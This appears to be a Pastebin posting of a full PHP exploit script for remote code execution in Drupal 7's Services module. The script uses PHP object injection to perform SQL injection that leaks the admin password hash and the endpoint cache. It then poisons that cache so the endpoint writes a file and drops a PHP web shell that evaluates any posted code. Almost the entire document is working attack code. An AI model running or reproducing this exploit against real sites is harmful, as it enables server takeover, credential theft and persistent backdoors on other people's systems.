Advertisement
teck_k2

Drupal exploit

Dec 21st, 2017
469
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.21 KB | None | 0 0
  1. #!/usr/bin/php
  2. <?php
  3. # Drupal Services Module Remote Code Execution Exploit
  4. # https://www.ambionics.io/blog/drupal-services-module-rce
  5. # cf
  6. #
  7. # Three stages:
  8. # 1. Use the SQL Injection to get the contents of the cache for current endpoint
  9. #    along with admin credentials and hash
  10. # 2. Alter the cache to allow us to write a file and do so
  11. # 3. Restore the cache
  12. #
  13.  
  14. # Initialization
  15.  
  16. error_reporting(E_ALL);
  17.  
  18. define('QID', 'anything');
  19. define('TYPE_PHP', 'application/vnd.php.serialized');
  20. define('TYPE_JSON', 'application/json');
  21. define('CONTROLLER', 'user');
  22. define('ACTION', 'login');
  23.  
  24. $url = 'http://vmweb.lan/drupal-7.54';
  25. $endpoint_path = '/rest_endpoint';
  26. $endpoint = 'rest_endpoint';
  27.  
  28. $file = [
  29.     'filename' => 'dixuSOspsOUU.php',
  30.     'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'
  31. ];
  32.  
  33. $browser = new Browser($url . $endpoint_path);
  34.  
  35.  
  36. # Stage 1: SQL Injection
  37.  
  38. class DatabaseCondition
  39. {
  40.     protected $conditions = [
  41.         "#conjunction" => "AND"
  42.     ];
  43.     protected $arguments = [];
  44.     protected $changed = false;
  45.     protected $queryPlaceholderIdentifier = null;
  46.     public $stringVersion = null;
  47.  
  48.     public function __construct($stringVersion=null)
  49.     {
  50.         $this->stringVersion = $stringVersion;
  51.  
  52.         if(!isset($stringVersion))
  53.         {
  54.             $this->changed = true;
  55.             $this->stringVersion = null;
  56.         }
  57.     }
  58. }
  59.  
  60. class SelectQueryExtender {
  61.     # Contains a DatabaseCondition object instead of a SelectQueryInterface
  62.    # so that $query->compile() exists and (string) $query is controlled by us.
  63.    protected $query = null;
  64.  
  65.     protected $uniqueIdentifier = QID;
  66.     protected $connection;
  67.     protected $placeholder = 0;
  68.  
  69.     public function __construct($sql)
  70.     {
  71.         $this->query = new DatabaseCondition($sql);
  72.     }
  73. }
  74.  
  75. $cache_id = "services:$endpoint:resources";
  76. $sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
  77. $password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';
  78.  
  79. # Take first user but with a custom password
  80. # Store the original password hash in signature_format, and endpoint cache
  81. # in signature
  82. $query =
  83.     "0x3a) UNION SELECT ux.uid AS uid, " .
  84.     "ux.name AS name, '$password_hash' AS pass, " .
  85.     "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
  86.     "ux.pass AS signature_format, ux.created AS created, " .
  87.     "ux.access AS access, ux.login AS login, ux.status AS status, " .
  88.     "ux.timezone AS timezone, ux.language AS language, ux.picture " .
  89.     "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
  90.     "WHERE ux.uid<>(0"
  91. ;
  92.  
  93. $query = new SelectQueryExtender($query);
  94. $data = ['username' => $query, 'password' => 'ouvreboite'];
  95. $data = serialize($data);
  96.  
  97. $json = $browser->post(TYPE_PHP, $data);
  98.  
  99. # If this worked, the rest will as well
  100. if(!isset($json->user))
  101. {
  102.     print_r($json);
  103.     e("Failed to login with fake password");
  104. }
  105.  
  106. # Store session and user data
  107.  
  108. $session = [
  109.     'session_name' => $json->session_name,
  110.     'session_id' => $json->sessid,
  111.     'token' => $json->token
  112. ];
  113. store('session', $session);
  114.  
  115. $user = $json->user;
  116.  
  117. # Unserialize the cached value
  118. # Note: Drupal websites admins, this is your opportunity to fight back :)
  119. $cache = unserialize($user->signature);
  120.  
  121. # Reassign fields
  122. $user->pass = $user->signature_format;
  123. unset($user->signature);
  124. unset($user->signature_format);
  125.  
  126. store('user', $user);
  127.  
  128. if($cache === false)
  129. {
  130.     e("Unable to obtains endpoint's cache value");
  131. }
  132.  
  133. x("Cache contains " . sizeof($cache) . " entries");
  134.  
  135. # Stage 2: Change endpoint's behaviour to write a shell
  136.  
  137. class DrupalCacheArray
  138. {
  139.     # Cache ID
  140.    protected $cid = "services:endpoint_name:resources";
  141.     # Name of the table to fetch data from.
  142.    # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
  143.    protected $bin = 'cache';
  144.     protected $keysToPersist = [];
  145.     protected $storage = [];
  146.  
  147.     function __construct($storage, $endpoint, $controller, $action) {
  148.         $settings = [
  149.             'services' => ['resource_api_version' => '1.0']
  150.         ];
  151.         $this->cid = "services:$endpoint:resources";
  152.  
  153.         # If no endpoint is given, just reset the original values
  154.        if(isset($controller))
  155.         {
  156.             $storage[$controller]['actions'][$action] = [
  157.                 'help' => 'Writes data to a file',
  158.                 # Callback function
  159.                'callback' => 'file_put_contents',
  160.                 # This one does not accept "true" as Drupal does,
  161.                # so we just go for a tautology
  162.                'access callback' => 'is_string',
  163.                 'access arguments' => ['a string'],
  164.                 # Arguments given through POST
  165.                'args' => [
  166.                     0 => [
  167.                         'name' => 'filename',
  168.                         'type' => 'string',
  169.                         'description' => 'Path to the file',
  170.                         'source' => ['data' => 'filename'],
  171.                         'optional' => false,
  172.                     ],
  173.                     1 => [
  174.                         'name' => 'data',
  175.                         'type' => 'string',
  176.                         'description' => 'The data to write',
  177.                         'source' => ['data' => 'data'],
  178.                         'optional' => false,
  179.                     ],
  180.                 ],
  181.                 'file' => [
  182.                     'type' => 'inc',
  183.                     'module' => 'services',
  184.                     'name' => 'resources/user_resource',
  185.                 ],
  186.                 'endpoint' => $settings
  187.             ];
  188.             $storage[$controller]['endpoint']['actions'] += [
  189.                 $action => [
  190.                     'enabled' => 1,
  191.                     'settings' => $settings
  192.                 ]
  193.             ];
  194.         }
  195.  
  196.         $this->storage = $storage;
  197.         $this->keysToPersist = array_fill_keys(array_keys($storage), true);
  198.     }
  199. }
  200.  
  201. class ThemeRegistry Extends DrupalCacheArray {
  202.     protected $persistable;
  203.     protected $completeRegistry;
  204. }
  205.  
  206. cache_poison($endpoint, $cache);
  207.  
  208. # Write the file
  209. $json = (array) $browser->post(TYPE_JSON, json_encode($file));
  210.  
  211.  
  212. # Stage 3: Restore endpoint's behaviour
  213.  
  214. cache_reset($endpoint, $cache);
  215.  
  216. if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
  217. {
  218.     e("Failed to write file.");
  219. }
  220.  
  221. $file_url = $url . '/' . $file['filename'];
  222. x("File written: $file_url");
  223.  
  224.  
  225. # HTTP Browser
  226.  
  227. class Browser
  228. {
  229.     private $url;
  230.     private $controller = CONTROLLER;
  231.     private $action = ACTION;
  232.  
  233.     function __construct($url)
  234.     {
  235.         $this->url = $url;
  236.     }
  237.  
  238.     function post($type, $data)
  239.     {
  240.         $headers = [
  241.             "Accept: " . TYPE_JSON,
  242.             "Content-Type: $type",
  243.             "Content-Length: " . strlen($data)
  244.         ];
  245.         $url = $this->url . '/' . $this->controller . '/' . $this->action;
  246.  
  247.         $s = curl_init();
  248.         curl_setopt($s, CURLOPT_URL, $url);
  249.         curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
  250.         curl_setopt($s, CURLOPT_POST, 1);
  251.         curl_setopt($s, CURLOPT_POSTFIELDS, $data);
  252.         curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
  253.         curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
  254.         curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
  255.         $output = curl_exec($s);
  256.         $error = curl_error($s);
  257.         curl_close($s);
  258.  
  259.         if($error)
  260.         {
  261.             e("cURL: $error");
  262.         }
  263.  
  264.         return json_decode($output);
  265.     }
  266. }
  267.  
  268. # Cache
  269.  
  270. function cache_poison($endpoint, $cache)
  271. {
  272.     $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
  273.     cache_edit($tr);
  274. }
  275.  
  276. function cache_reset($endpoint, $cache)
  277. {
  278.     $tr = new ThemeRegistry($cache, $endpoint, null, null);
  279.     cache_edit($tr);
  280. }
  281.  
  282. function cache_edit($tr)
  283. {
  284.     global $browser;
  285.     $data = serialize([$tr]);
  286.     $json = $browser->post(TYPE_PHP, $data);
  287. }
  288.  
  289. # Utils
  290.  
  291. function x($message)
  292. {
  293.     print("$message\n");
  294. }
  295.  
  296. function e($message)
  297. {
  298.     x($message);
  299.     exit(1);
  300. }
  301.  
  302. function store($name, $data)
  303. {
  304.     $filename = "$name.json";
  305.     file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
  306.     x("Stored $name information in $filename");
  307. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement